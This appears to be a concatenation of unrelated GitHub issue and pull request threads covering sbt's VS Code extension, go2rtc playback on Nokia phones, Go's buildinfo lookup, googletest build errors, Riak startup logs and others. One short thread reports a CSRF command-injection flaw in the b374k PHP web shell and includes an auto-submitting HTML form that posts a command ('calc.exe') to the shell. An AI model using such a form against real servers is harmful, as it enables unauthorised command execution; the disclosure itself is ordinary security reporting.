npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the vscode-sbt-scala package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     tsc -p client/tsconfig.json && cd server && npm run installServer && cd .. && tsc -p server/tsconfig.json
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs vscode-sbt-scala
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls vscode-sbt-scala
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR!     /home/sschaef/dev/scala/sbt/vscode-sbt-scala/npm-debug.log

What is the module vscode that can't be found?

@sschaef What part of tsc -p client/tsconfig.json && cd server && npm run installServer && cd .. && tsc -p server/tsconfig.json fails on your system?

The first command already fails:
% tsc -p client/tsconfig.json
client/node_modules/vscode-languageclient/lib/client.d.ts(1,749): error TS2307: Cannot find module 'vscode'.

I did a npm install vscode beforehand and also a sudo npm install -g vscode but tsc still can't find the vscode module.

Ok, I fixed the problem. On sbt startup there is a npm install run on the vscode project. I removed the node_modules folder and restart sbt. Now everything works perfectly fine.

In the vscode part, there are two servers. One is in vscode-sbt-scala/client/server and the other is in vscode-sbt-scala/server. Why are there two of them, isn't one enough?
What is this package-lock.json file doing? Is it required?

@sschaef The example extension was set up that way with "client" and "server" at the top-level, and the compiled server code copied into client.
They represent two different Node instances so I think it kind of make sense to me that the source directory is separate. In my implementation "server" just converts stdio to socket.

I am not familiar with Node development, so I'm not sure, but I am guessing that package-lock.json is a dependency lock file that pins down the list of dependencies. If so I think it would make sense to commit it.

Ok, makes sense now. package-lock.json is indeed intended to be committed: https://docs.npmjs.com/files/package-lock.json

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

Is the textDocument/didSave notification already working for you? I don't receive any notifications on the server side yet.

@sschaef Yea, it works for me. You have to run reset.sh to make sure you are using freshly baked sbt tho.

I think I have a problem with vscode (probably not using it correctly), because sbt doesn't even receive a notification event. The initialization routine and the shutdown event is working but nothing else. Can you edit arbitrary files or does it work only for specific files?

It works for me using Hello.scala not sure if it would for other extensions.

@sschaef: Right now it's restricted to .scala and .java files: https://github.com/eed3si9n/sbt/blob/1ad9360e3e9446eed325fd7259c41b59541393dc/vscode-sbt-scala/client/src/extension.ts and requires a build.sbt file: https://github.com/eed3si9n/sbt/blob/1ad9360e3e9446eed325fd7259c41b59541393dc/vscode-sbt-scala/client/package.json#L21. Also make sure you don't have another language server running at the same time like vscode-dotty or https://github.com/dragos/dragos-vscode-scala, they won't work together as I explained in: https://github.com/sbt/sbt/pull/3524#discussion_r139563361

ok. I am going to merge this and release a milestone.

I checked it all but except of the initialization and shutdown routine nothing works. I need to check if I can get the dotty extension up and running, maybe I'm still using something incorrectly.
---- On Tue, 03 Oct 2017 17:48:20 +0200 Guillaume Martres<EMAIL_ADDRESS>wrote ----
@sschaef: Right now it's restricted to .scala and .java files: https://github.com/eed3si9n/sbt/blob/1ad9360e3e9446eed325fd7259c41b59541393dc/vscode-sbt-scala/client/src/extension.ts and requires a build.sbt file: https://github.com/eed3si9n/sbt/blob/1ad9360e3e9446eed325fd7259c41b59541393dc/vscode-sbt-scala/client/package.json#L21. Also make sure you don't have another language server running at the same time like vscode-dotty or https://github.com/dragos/dragos-vscode-scala, they won't work together as I explained in: #3524 (comment)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

@sschaef "Ok, I fixed the problem. On sbt startup there is a npm install run on the vscode project. I removed the node_modules folder and restart sbt. Now everything works perfectly fine."
the target folder in vscode-sbt-scala needs to removed too

Any chance to get something similar for Atom?
Version 1.21 got support for the language server protocol and is already used by a number of IDE integration packages such as ide-typescript or ide-java. I can picture sbt 1.1.x providing similar functionalities in a future ide-scala package.

Well, I'm wonder if in Atom you can load vscode extensions :). If not Atom
specific is needed I think with static syntax highlighting in
Scala.tmLanguage
2017-10-06 10:19 GMT+02:00 Ghislain Antony Vaillant <
<EMAIL_ADDRESS>
Any chance to get something similar for Atom?
Version 1.21 got support for the language server protocol and is already
used by a number of IDE integration packages such as ide-typescript or
ide-java. I can picture sbt 1.1.x providing similar functionalities in a
future ide-scala package.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/sbt/sbt/pull/3524#issuecomment-334690191, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ALEzS0y4Z1IO69gOpWx0EGBlZXY9wiKWks5speKZgaJpZM4PWP0V
.


a chinese version of stack

Checklist

[x] I've looked at the contribution guidelines.
[x] This pull request is complete and ready for review.

Description

This is a chinese version of stack.

Hey @WeiweiYuan810,
Unfortunately, we're not accepting contributions for translating content to other languages. We don't have the capacity to keep the repository updated for other languages.
You're free to fork this repository and provide your translation there though!


Unable to use Nokia Android as consumer with certain camera

I have some trouble while conuming some of my camera video with my wife Android Nokia phone (both old X10 and new G60 5G). No difference if forcing webrtc or MSE or others.
Same video on borwser or other smarthphone *OnePlus, Samsung, ...) as well as from desktop browser are fine.
While opening it i can see following info
{
    "producers": [
        {
            "type": "RTSP active producer",
            "url": "rtsp://<IP_ADDRESS>:1240/",
            "remote_addr": "<IP_ADDRESS>:1240",
            "user_agent": "go2rtc/1.6.2",
            "medias": [
                "video, recvonly, H.264 Main 5.0"
            ],
            "receivers": [
                "96 H264, bytes=19136692, senders=1"
            ],
            "recv": 19302412
        },
        {
            "url": "rtsp://admin:mask_passw@<IP_ADDRESS>:1240/Streaming/Channels/102"
        }
    ],
    "consumers": [
        {
            "type": "MSE/WebSocket passive consumer",
            "remote_addr": "<IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>:55792",
            "user_agent": "Mozilla/5.0 (Linux; Android 13; Nokia X10 Build/TKQ1.220807.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.5790.166 Mobile Safari/537.36 Home Assistant/2023.3.0-3260 (Android 13; Nokia X10)",
            "medias": [
                "video, sendonly, H264, H265",
                "audio, sendonly, MPEG4-GENERIC, PCMA, PCMU, L16, PCML"
            ],
            "senders": [
                "96 H264, bytes=19136692, receivers=1"
            ],
            "send": 19178770
        }
    ]
}

while complete logs at trace level are attached (i tryed MSE, then WebRTC, then others from link page)
go2rtc_nokia_maskpass.txt
I'm running go2rtc as home assistant addon

H.264 Main 5.0 is very hi profile. Some old device may not be able to support it. Use another stream or change camera config or use transcoding.

anyway there is still something strange.
The same behaviour is present also with Nokia G60 5G that is quite recent (relesed about 1 year ago)
Other camera are fine, but it seems they use profile high 5.1 instead of Main 5.0 (I don't know the different details).
if there a way i can check further details about phone capabilities, to understand if it is some kind of unexpected limitation of Nokia phones?

{
"producers": [
{
"type": "RTSP active producer",
"url": "rtsp://<IP_ADDRESS>/h264Preview_01_sub/",
"remote_addr": "<IP_ADDRESS>:554",
"user_agent": "go2rtc/1.6.2",
"medias": [
"video, recvonly, H.264 High 5.1",
"audio, recvonly, MPEG4-GENERIC/16000"
],
"receivers": [
"96 H264, bytes=1603998, senders=1",
"97 MPEG4-GENERIC/16000, bytes=1482468, senders=0"
],
"recv": 3142774
},
{
"type": "RTSP passive producer",
"url": "rtsp://<IP_ADDRESS>:8554/cf2dac411e5197f753e7d62d67fe8e17",
"remote_addr": "<IP_ADDRESS>:43544",
"user_agent": "ffmpeg/go2rtc",
"medias": [
"audio, recvonly, OPUS/48000/2"
],
"receivers": [
"96 OPUS/48000/2, bytes=1933332, senders=1"
],
"recv": 2044648
}
],
"consumers": [
{
"type": "WebRTC/WebSocket async passive consumer",
"remote_addr": "udp4 host <IP_ADDRESS>:44191",
"user_agent": "Mozilla/5.0 (Linux; Android 13; Nokia X10 Build/TKQ1.220807.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.5790.166 Mobile Safari/537.36 Home Assistant/2023.3.0-3260 (Android 13; Nokia X10)",
"medias": [
"video, sendonly, VP8, RTX, VP9, AV1, H264, RED, ULPFEC, FLEXFEC-03",
"audio, sendonly, OPUS/48000/2, RED/48000/2, G722/8000, PCMU/8000, PCMA/8000, CN/8000, TELEPHONE-EVENT/48000, TELEPHONE-EVENT/8000, L16, PCML"
],
"senders": [
"102 H264, bytes=1603998, receivers=1",
"111 OPUS/48000/2, bytes=1933332, receivers=1"
],
"send": 3676755
}
]
}

Video data may not match the profile. Cameras may lie. So can smartphone manufacturers.

While I try to understand if I can change something on my old Hikvision camera regarding stream profile (only old IE11 was supported), how do you suggest to setup transcoding to adjust such difference?
In case the transcoding will also take place when i use my smartphone that is already running fine?

I just find out that for Reolink as well as for my Hikvision camera, the Nokia phone is fine is I use the low resolution secondary stream (in the snap below the different settings)
in both cases, both streams are H264....

If I leave both streams in camera settings of go2rtc, I guess go2rtc just use the 1st one, since both are H264....
so I'm forced to leave only the low resolution secondary stream if I want to be able to see the streams with all phones?
while with transcoding option, which setting I can try in this case?

Profile means that camera can send more data. Try to decrease all params - resolution, fps, bitrate.

Also Reolink has awful RTSP. Try to use ffmpeg+http. In next release you can use only http.

Yes. It's right suggestion

I tried it but it seems to take more time to start such kind of stream compared with rtsp

Yes. Because ffmpeg. You can try without it.

Without i got an error related to certificate verification .
tls: failed to verify certificate: x509: cannot validate certificate for <IP_ADDRESS> because it doesn't contain any IP SANs,exec: exit status 1"
Is it possible to skip it?

Don't use https link, use http link

Just adding that I have the same issue with my Nokia x20. I already made a topic on the frigate github a while ago, which has led me to believe this is is a bug with the decoder on the phone. You can see the details I found in my issue:
https://github.com/blakeblackshear/frigate/discussions/5506


Mediapipe in android

I use this in Android  build.gradle     implementation 'com.google.mediapipe:mediapipe-hairsegmentation:<IP_ADDRESS>'
and get this error

What went wrong:
Execution failed for task ':app:checkDebugAarMetadata'.

Could not resolve all files for configuration ':app:debugRuntimeClasspath'.
Could not resolve com.google.mediapipe:mediapipe-hairsegmentation:<IP_ADDRESS>.
Required by:
project :app
Could not resolve com.google.mediapipe:mediapipe-hairsegmentation:<IP_ADDRESS>.
Could not get resource 'https://google.bintray.com/mediapipe/com/google/mediapipe/mediapipe-hairsegmentation/<IP_ADDRESS>/mediapipe-hairsegmentation-<IP_ADDRESS>.pom'

Thank you in advance

Hello @akokhlik,
Would you please let us know the complete details about the issue such as steps you have followed, Information about the
Operating System, SDK or NDK version using to reproduce the issue from end. We also recommend to fill the issue template
to get maximum relevant information to debug the issue.  Thank you!


Typo: B::f instead of B::F

@sauparna : Thanks for your contribution! The author(s) have been notified to review your proposed change.


compile error with openh264

Hello.
An error occurred while compiling.
error log
https://gist.github.com/Thermaltake/b076bccc1535cc48b13536e1f9dcd92b
cmake https://gist.github.com/Thermaltake/a0016250c5aede6fb2cd9b12be1219dd#file-cmake-L39
without openh264 compilation goes without error.
use ubuntu-mate on raspberry pi 2.
and https://github.com/cisco/openh264/commit/eb9f56584fae81eab9be6ab999040ed5e4a7cfcd
What am I doing wrong?
Sorry for bad english. I use google translate.

@Thermaltake try using v1.5.1 of openh264.

Thanks for the help.
Good. Compile happened.
I tested a job /ghx-h264:AVC420 and AVC444.% CPU load close to 100% when playing youtube video in a small window. Videos with the brakes. Moreover, the load goes to the processor core, but they are not fully loaded.
http://s009.radikal.ru/i309/1604/7e/d26133af5c3d.jpg
If use /ghx:RFX, the CPU 300-350% load when playing the same video, the processor cores load close to full. But the video works a bit better.
http://s002.radikal.ru/i198/1604/ed/6112d8ea25ab.jpg
How can using the /gfx-h264 use a kernel fully, ensuring smooth video playback?
As it is possible to reduce the load on the CPU, using h264?

@Thermaltake as you initial issue seems to be resolved I'll close this issue. Regarding your question AVC444 was added recently and does currently don't have any optimized version. At least for h264 performance there are multiple open issues. If you have other questions visit us in the irc channel or contact the mailing list.


cmd/go: go version  fails with -buildmode=pie Linux ELF binaries

$ go build -o /tmp/go.exe
$ go version /tmp/go.exe
/tmp/go.exe: go version not found
$
It's possible I am using too old a tree but I think this is still broken at head.

In a -buildmode=pie executable the .go.buildinfo section is deep into the data segment, much farther than the 64K that go version reads.  This doesn't actually have anything to do with -buildmode=pie as such; go version fails on ELF systems when using -ldflags=-linkmode=external, and -buildmode=pie currently implies an external link.

It's not clear to me why the .go.buildinfo section is writable.

A little off topic, is there an option to disable package module versions in building?

We can certainly fall back to reading the ELF binaries to find the right place in non-stripped binaries. We just can't assume that in general.

@dotaheor, no there's no such option.

But why is the section writable?  If it weren't writable, it would be in the text segment, and more likely to be found with the current algorithm.

@ianlancetaylor, just to try to understand the problem I changed cmd/link/sym to mark SBUILDINFO as read-only.
That caused the internal linking of -buildmode=pie tests to crash with a segmentation fault in _dl_relocate_object, so I added a corresponding SBUILDINFORELRO section and tried again.
That made all.bash once again pass, but empirically did not fix go version.

I looked in to this some more, but I'm in way over my head.
I know that the choice to make SBUILDINFO writable was intentional, because the DataStart methods in cmd/go/internal/version/exe.go look for the first writable section specifically. I do not understand why the section must be writable, and I can't figure out what is supposed to ensure the ordering of the writable sections in the final binary.

It sounds like making the section readonly didn't help anyhow.
On ELF I think we can look for the section by opening the file using elf.Open and finding the section using elf.(*File).Section.

I think the problem with non-writable was that it contains pointers to writable variables so the relocations were simpler if they were in the same section.

For ELF binaries, the "go version" command finds the .go.buildinfo data by searching for the first program-header that's read-write, and hoping the version info is near that.
Is there any reason why you don't look for a section header named ".go.buildinfo", instead?

The above fix gets "go version " working for me on amd64 ubuntu 18.04, with or without external linking, with or without pie, with or without stripping the binary.  I think it should work on all ELF platforms; I don't know about other file formats.

Hello @Infinoid, thank you for mailing a fix!
Ian left some feedback on your CL some days ago but since we are just about to release Go1.13, I kindly wanted to nudge you to take a look or please let him know if you won't have time to make the update and he can make the update -- apologies for rushing you.

The updated test fails on darwin. It looks like the only TryBot that runs without -short is on Linux, so we didn't catch this.
I'll prepare a fix for Mach-O.
I don't think we need to fix this for PE binaries, since -buildmode=pie is not supported on Windows. I don't know whether we need to fix XCOFF.


google-test subdirectory fails to build (-Werror)

In attempting Task 2/14, compilation fails when checking the answer as google-test fails to build due to -Werror=maybe-uninitialized:
====================[ Build | WarmUp-MovingOn-MoveAnObject-test | Debug ]=======
/home/telans/.local/share/JetBrains/Toolbox/apps/clion/bin/cmake/linux/x64/bin/cmake --build /home/telans/CLionProjects/C++Basics/cmake-build-debug --target WarmUp-MovingOn-MoveAnObject-test -- -j 14
[ 16%] Built target WarmUp-MovingOn-MoveAnObject-test-src-part
[ 33%] Building CXX object /home/telans/CLionProjects/C++Basics/test-framework/googletest-build/googlemock/gtest/CMakeFiles/gtest.dir/src/gtest-all.cc.o
In file included from /home/telans/CLionProjects/C++Basics/test-framework/googletest-src/googletest/src/gtest-all.cc:42:
/home/telans/CLionProjects/C++Basics/test-framework/googletest-src/googletest/src/gtest-death-test.cc: In function ‘bool testing::internal::StackGrowsDown()’:
/home/telans/CLionProjects/C++Basics/test-framework/googletest-src/googletest/src/gtest-death-test.cc:1224:24: error: ‘dummy’ may be used uninitialized [-Werror=maybe-uninitialized]
 1224 |   StackLowerThanAddress(&dummy, &result);
      |   ~~~~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~
/home/telans/CLionProjects/C++Basics/test-framework/googletest-src/googletest/src/gtest-death-test.cc:1214:13: note: by argument 1 of type ‘const void*’ to ‘void testing::internal::StackLowerThanAddress(const void*, bool*)’ declared here
 1214 | static void StackLowerThanAddress(const void* ptr, bool* result) {
      |             ^~~~~~~~~~~~~~~~~~~~~
/home/telans/CLionProjects/C++Basics/test-framework/googletest-src/googletest/src/gtest-death-test.cc:1222:7: note: ‘dummy’ declared here
 1222 |   int dummy;
      |       ^~~~~
cc1plus: all warnings being treated as errors
make[3]: *** [/home/telans/CLionProjects/C++Basics/test-framework/googletest-build/googlemock/gtest/CMakeFiles/gtest.dir/build.make:76: /home/telans/CLionProjects/C++Basics/test-framework/googletest-build/googlemock/gtest/CMakeFiles/gtest.dir/src/gtest-all.cc.o] Error 1
make[2]: *** [CMakeFiles/Makefile2:1045: /home/telans/CLionProjects/C++Basics/test-framework/googletest-build/googlemock/gtest/CMakeFiles/gtest.dir/all] Error 2
make[1]: *** [CMakeFiles/Makefile2:2658: WarmUp/MovingOn/task/CMakeFiles/WarmUp-MovingOn-MoveAnObject-test.dir/rule] Error 2
make: *** [Makefile:988: WarmUp-MovingOn-MoveAnObject-test] Error 2

This is due to google-test < 1.11.0 failing to cleanly build with GCC >= 11.
See https://github.com/google/googletest/issues/3219
This could be fixed by passing -Wno-error to cmake, patching the subdirectory with the closing commit on the issue linked above, or updating the google-test version.
Manually updating cmake/googletest-download.cmake to add release-1.11.0 fixes this issue for me.

Hi, thank you for the report.
It is a known problem.
The fix is already implemented, and the course will be soon updated on the Marketplace.


b374k Web Shell - CSRF Command Injection

Hello
Read this : https://www.exploit-db.com/exploits/38688/
Fix ? xD

This one only dangerous only if you expose your link to b374k.php to anyone, and you are recently logged in.
<form id='ABYSMALGODS' action='
http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
method='post'>
<input id='cmd' type='text' name='terminalInput' value='calc.exe' />
<script>document.getElementById('ABYSMALGODS').submit()</script>
</form>

anyone need the link, like for example on the one above:
http://localhost/b374k-master/myshell.php


chore: bump version to 0.10.0-rc.1

1. Does this PR affect any open issues?(Y/N) and add issue references (e.g. "fix #123", "re #123".):

[x] N
[ ] Y

chore: bump version to 0.10.0-rc.1

Pull Request Test Coverage Report for Build<PHONE_NUMBER>0
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+17.7%) to 70.685%

Totals

Change from base Build<PHONE_NUMBER>7:
17.7%

Covered Lines:
51177

Relevant Lines:
72402

💛  - Coveralls


[Marker.io] Hover effects missing

Hover effects missing on blog post page

Reported by: Holly Anthony<EMAIL_ADDRESS>- Contact via Marker.io
Source URL: https://wf-b.stg.prezzee.com/en-us/blog
Issue details: Open in Marker.io
Device typedesktopBrowserChrome <IP_ADDRESS>Screen Size2048 x 1152OSOS X 14.7.1Viewport Size2037 x 941Pixel Ratio@2x

🤖 Marker.io bot - 💬 Druhin Tarafder (Not Another™) commented:

Keeping this open but deferring it for now as it's a Phase 2 page.

Reply here


Failed to start homebrew riak

riak start
output:
riak failed to start within 15 seconds, see the output of 'riak console' for more information. If you want to wait longer, set the environment variable WAIT_FOR_ERLANG to the number of seconds to wait.
riak console
output:
config is OK -config /usr/local/Cellar/riak/2.2.3/libexec/data/generated.configs/app.2<IP_ADDRESS>.43.14.config -args_file /usr/local/Cellar/riak/2.2.3/libexec/data/generated.configs/vm.2<IP_ADDRESS>.43.14.args -vm_args /usr/local/Cellar/riak/2.2.3/libexec/data/generated.configs/vm.2<IP_ADDRESS>.43.14.args Exec:  /usr/local/Cellar/riak/2.2.3/libexec/erts-<IP_ADDRESS>/bin/erlexec -boot /usr/local/Cellar/riak/2.2.3/libexec/releases/2.2.3/riak               -config /usr/local/Cellar/riak/2.2.3/libexec/data/generated.configs/app.2<IP_ADDRESS>.43.14.config -args_file /usr/local/Cellar/riak/2.2.3/libexec/data/generated.configs/vm.2<IP_ADDRESS>.43.14.args -vm_args /usr/local/Cellar/riak/2.2.3/libexec/data/generated.configs/vm.2<IP_ADDRESS>.43.14.args              -pa /usr/local/Cellar/riak/2.2.3/libexec/lib/basho-patches -- console Root: /usr/local/Cellar/riak/2.2.3/libexec

Can you post the content of the console.log file? I think the Homebrew path would be /usr/local/Cellar/riak/2.2.3/logs/console.log but I don't have Riak on a Mac handy to test. It should tell you why it failed to start in there or somebody here should be able to notice why.

Here's the log:
`

[[ -x /usr/sbin/riak ]]
export RIAK=/usr/sbin/riak
RIAK=/usr/sbin/riak
export RIAK_CONF=/etc/riak/riak.conf
RIAK_CONF=/etc/riak/riak.conf
export USER_CONF=/etc/riak/user.conf
USER_CONF=/etc/riak/user.conf
export RIAK_ADVANCED_CONF=/etc/riak/advanced.config
RIAK_ADVANCED_CONF=/etc/riak/advanced.config
[[ -x /usr/sbin/riak-admin ]]
export RIAK_ADMIN=/usr/sbin/riak-admin
RIAK_ADMIN=/usr/sbin/riak-admin
export SCHEMAS_DIR=/etc/riak/schemas/
SCHEMAS_DIR=/etc/riak/schemas/
export PB_PORT=8087
PB_PORT=8087
export HTTP_PORT=8098
HTTP_PORT=8098
++ ping -c1 e1336787118d
++ awk '/^PING/ {print $3}'
++ sed 's/[()]//g'
export HOST=<IP_ADDRESS>
HOST=<IP_ADDRESS>
export CLUSTER_NAME=riak
CLUSTER_NAME=riak
export COORDINATOR_NODE=e1336787118d
COORDINATOR_NODE=e1336787118d
++ ping -c1 e1336787118d
++ awk '/^PING/ {print $3}'
++ sed 's/[()]//g'
export COORDINATOR_NODE_HOST=<IP_ADDRESS>
COORDINATOR_NODE_HOST=<IP_ADDRESS>
++ find /etc/riak/prestart.d -name '*.sh' -print
++ sort
PRESTART='/etc/riak/prestart.d/00-update-riak-conf.sh
/etc/riak/prestart.d/01-maybe-update-cluster-convergence.sh'
for s in '$PRESTART'
. /etc/riak/prestart.d/00-update-riak-conf.sh
++ cat
++ '[' -s /etc/riak/user.conf ']'
for s in '$PRESTART'
. /etc/riak/prestart.d/01-maybe-update-cluster-convergence.sh
+++ awk -F= '/ring_size/{print $2}' /etc/riak/riak.conf
+++ sed 's/[ ]//'
++ RING_SIZE=64
++ CLUSTER_CONVERGENCE=standard
++ [[ fast == \s\t\a\n\d\a\r\d ]]
/usr/sbin/riak start
/usr/sbin/riak-admin wait-for-service riak_kv
riak_kv is not up: []
riak_kv is not up: []
riak_kv is not up: []
riak_kv is up
++ find /etc/riak/poststart.d -name '*.sh' -print
++ sort
POSTSTART='/etc/riak/poststart.d/01-bootstrap-schemas.sh
/etc/riak/poststart.d/02-bootstrap-datatypes.sh
/etc/riak/poststart.d/99-join-cluster.sh'
for s in '$POSTSTART'
. /etc/riak/poststart.d/01-bootstrap-schemas.sh
++ '[' KV == TS ']'
for s in '$POSTSTART'
. /etc/riak/poststart.d/02-bootstrap-datatypes.sh
++ echo 'Looking for datatypes in /etc/riak/schemas/...'
Looking for datatypes in /etc/riak/schemas/...
+++ find /etc/riak/schemas/ -name '*.dt' -print
for s in '$POSTSTART'
. /etc/riak/poststart.d/99-join-cluster.sh
+++ /usr/sbin/riak-admin cluster status
+++ egrep <IP_ADDRESS>
++ [[ -z | (C<EMAIL_ADDRESS>|valid |  up   |100.0|  --   | ]]
PID=1027
trap '/usr/sbin/riak stop; kill 1027' SIGTERM SIGINT
tail -n 1024 -f /var/log/riak/console.log
wait 1027
2017-11-09 18:15:32.354 [info] <0.7.0> Application lager started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.370 [info] <0.7.0> Application sasl started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.371 [info] <0.7.0> Application asn1 started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.375 [info] <0.7.0> Application crypto started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.375 [info] <0.7.0> Application public_key started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.384 [info] <0.7.0> Application ssl started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.387 [info] <0.7.0> Application riak_sysmon started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.404 [info] <0.7.0> Application os_mon started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.421 [info] <0.7.0> Application runtime_tools started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.431 [info] <0.7.0> Application erlang_js started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.431 [info] <0.7.0> Application xmerl started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.458 [info] <0.7.0> Application inets started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.458 [info] <0.7.0> Application mochiweb started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.469 [info] <0.7.0> Application webmachine started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.469 [info] <0.7.0> Application basho_stats started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.479 [info] <0.7.0> Application bitcask started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.500 [info] <0.7.0> Application clique started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.501 [info] <0.7.0> Application eleveldb started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.501 [info] <0.7.0> Application pbkdf2 started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.501 [info] <0.7.0> Application poolboy started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.556 [info] <0.161.0>@exometer_report:do_start_reporters:613 Starting reporters with []
2017-11-09 18:15:32.557 [info] <0.7.0> Application exometer_core started on node<EMAIL_ADDRESS>2017-11-09 18:15:32.713 [warning] <0.181.0>@riak_core_ring_manager:reload_ring:359 No ring file available.
2017-11-09 18:15:32.996 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,vnode_routing} = proxy
2017-11-09 18:15:33.005 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,staged_joins} = true
2017-11-09 18:15:33.019 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,resizable_ring} = true
2017-11-09 18:15:33.028 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,fold_req_version} = v2
2017-11-09 18:15:33.037 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,security} = true
2017-11-09 18:15:33.054 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,bucket_types} = true
2017-11-09 18:15:33.064 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_core,net_ticktime} = true
2017-11-09 18:15:33.227 [info] <0.7.0> Application riak_core started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.241 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_pipe,trace_format} = ordsets
2017-11-09 18:15:33.307 [info] <0.7.0> Application riak_pipe started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.313 [info] <0.7.0> Application sidejob started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.313 [info] <0.7.0> Application riak_dt started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.313 [info] <0.7.0> Application protobuffs started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.313 [info] <0.7.0> Application riak_pb started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.378 [info] <0.7.0> Application riak_api started on node<EMAIL_ADDRESS>2017-11-09 18:15:33.467 [info] <0.329.0>@riak_kv_env:doc_env:46 Environment and OS variables:
2017-11-09 18:15:33.868 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,object_hash_version} = 0
2017-11-09 18:15:33.884 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,anti_entropy} = enabled_v1
2017-11-09 18:15:33.893 [info] <0.360.0>@riak_core_throttle:enable_throttle:119 Enabling throttle for riak_kv/aae_throttle.
2017-11-09 18:15:33.955 [info] <0.370.0>@riak_core:wait_for_service:504 Waiting for service riak_kv to start (0 seconds)
2017-11-09 18:15:34.006 [info] <0.387.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.387.0>)
2017-11-09 18:15:34.007 [info] <0.388.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.388.0>)
2017-11-09 18:15:34.009 [info] <0.389.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.389.0>)
2017-11-09 18:15:34.010 [info] <0.390.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.390.0>)
2017-11-09 18:15:34.013 [info] <0.391.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.391.0>)
2017-11-09 18:15:34.015 [info] <0.392.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.392.0>)
2017-11-09 18:15:34.016 [info] <0.393.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.393.0>)
2017-11-09 18:15:34.018 [info] <0.394.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_map) host starting (<0.394.0>)
2017-11-09 18:15:34.020 [info] <0.396.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_reduce) host starting (<0.396.0>)
2017-11-09 18:15:34.021 [info] <0.397.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_reduce) host starting (<0.397.0>)
2017-11-09 18:15:34.023 [info] <0.398.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_reduce) host starting (<0.398.0>)
2017-11-09 18:15:34.026 [info] <0.399.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_reduce) host starting (<0.399.0>)
2017-11-09 18:15:34.027 [info] <0.400.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_reduce) host starting (<0.400.0>)
